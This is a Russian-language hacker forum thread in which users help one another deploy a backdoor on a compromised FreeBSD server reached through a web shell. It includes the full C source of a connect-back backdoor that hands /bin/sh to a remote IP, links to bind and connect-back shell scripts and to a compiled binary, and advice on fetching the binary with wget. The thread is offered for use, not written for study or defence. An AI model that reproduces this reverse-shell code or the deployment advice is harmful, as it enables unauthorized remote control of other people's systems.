17 00:41 whoami -r-xr-xr-x 1 root wheel 10008 Feb 17 00:41 whois -r-xr-xr-x 1 root wheel 111636 Feb 17 00:41 window -r-xr-xr-x 1 root wheel 8468 Feb 17 00:41 write -r-xr-xr-x 1 root wheel 11000 Feb 17 00:41 xargs -r-xr-xr-x 1 root wheel 10032 Feb 17 00:41 xstr -r-xr-xr-x 1 root wheel 65836 Feb 17 00:41 yacc -r-xr-xr-x 1 root wheel 3444 Feb 17 00:41 yes -r-xr-xr-x 1 root wheel 4668 Feb 17 00:41 ypcat -r-xr-xr-x 1 root wheel 17780 Feb 17 00:41 ypchfn -r-xr-xr-x 1 root wheel 17780 Feb 17 00:41 ypchpass -r-xr-xr-x 1 root wheel 17780 Feb 17 00:41 ypchsh -r-xr-xr-x 1 root wheel 4736 Feb 17 00:41 ypmatch -r-xr-xr-x 1 root wheel 6052 Feb 17 00:41 yppasswd -r-xr-xr-x 1 root wheel 6488 Feb 17 00:41 ypwhich -r-xr-xr-x 1 root wheel 2475 Feb 17 00:41 yyfix -r-xr-xr-x 1 root wheel 46836 Feb 17 00:41 zcat -r-xr-xr-x 1 root wheel 2072 Feb 17 00:41 zcmp -r-xr-xr-x 1 root wheel 2072 Feb 17 00:41 zdiff -r-xr-xr-x 1 root wheel 72284 Feb 17 00:41 zegrep -r-xr-xr-x 1 root wheel 72284 Feb 17 00:41 zfgrep -r-xr-xr-x 1 root wheel 919 Feb 17 00:41 zforce -r-xr-xr-x 1 root wheel 72284 Feb 17 00:41 zgrep -r-xr-xr-x 1 root wheel 1112 Feb 17 00:41 zmore -r-xr-xr-x 1 root wheel 3634 Feb 17 00:41 znew [/code]
Не получаеться..... Я залил через веб шелл туда gcc, распаковал его, потом пишу ./gcc-4.2-20060318 и ниче не происходит.......
LoFFi установка программ в никсах происходит с помощью магического заклинания chmod 777 configure ./configure make make install из той директории, где находится configure. компиляция твоего бекдура: gcc bindshell.c -o bindshell разумеется ты должен использовать свой gcc - на тот, что в usr/bin у тебя прав не хватает. На самом деле для начала я попробывал бы bind-shell на перле. http://drmist.narod.ru/bind.pl Если не прокатит - тебе нужен connect-шелл. На си - вот: http://drmist.narod.ru/cbd.c На перле - google.com (потом ссылкой поделись - не знаю перла)
Мдаа юные хакеры советуют друг другу как откомпилить исходник... А нельзя, если такие обстоятельства откомпилить его у себя или на шелле и потом стянуть туда через, к примеру, wget ?
kez Возможно, пристарелый элитный хэккер обратит внимание на то, что у человека при этом возникли некоторые проблемы? что вполне закономерно. (если он конечно не забыл сменить права доступа к бинарнику :-/)
Хм. Или фаер грамотно настроен. осталась ли программа в списке процессов - история об этом умалчивает ))))
drmist, LordNet, вот тут гляньте http://planeta.ks.ua/forums/attachment.php?attachmentid=1440&stc=1&d=1142760353
Как я у себя под виндой откомпилю для фряхи? cygwin такое не умеет. А вот лучше расскажи по подробней, что значит откомпилить на шелле?
Какой виндой? Если под рукой нет FreeBSD/linux - на шелле компиль. Вопрос "как это" я не понял... Лезь на шелл, по SSH к примеру, gcc bind.c -o bind
Люди, очень прошу откомпилить под FreeBSD этот скрипт Code: #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #include <fcntl.h> #include <netinet/in.h> #include <netdb.h> int fd, sock; int port = 4000; struct sockaddr_in addr; char mesg[] = "\n[ Digit-Labs Connect-Back Backdoor ]\n * Connected to CommandLine...\n"; char shell[] = "/bin/sh"; int main(int argc, char *argv[]) { while(argc<2) { fprintf(stderr, "\n\n %s <ip> \n\n", argv[0]); exit(0); } addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = inet_addr(argv[1]); fd = socket(AF_INET, SOCK_STREAM, 0); if(connect(fd, (struct sockaddr*)&addr, sizeof(addr))<0)printf("fucker!\n"); send(fd, mesg, sizeof(mesg), 0); dup2(fd, 0); // thnx dvorak dup2(fd, 1); dup2(fd, 2); execl(shell, "in.telnetd", 0); close(fd); return 1; }
Под FreeBSD 6.0 под виртуалкой скомпилил. И тебе в след. раз советую тоже самое сделать. http://geometry.jino-net.ru/bind
Извиняюсь что говорю не в тему раньше сайт хакера где проходят конкурсы был www.padonak.ru а щас какой кто-нибудь скажет?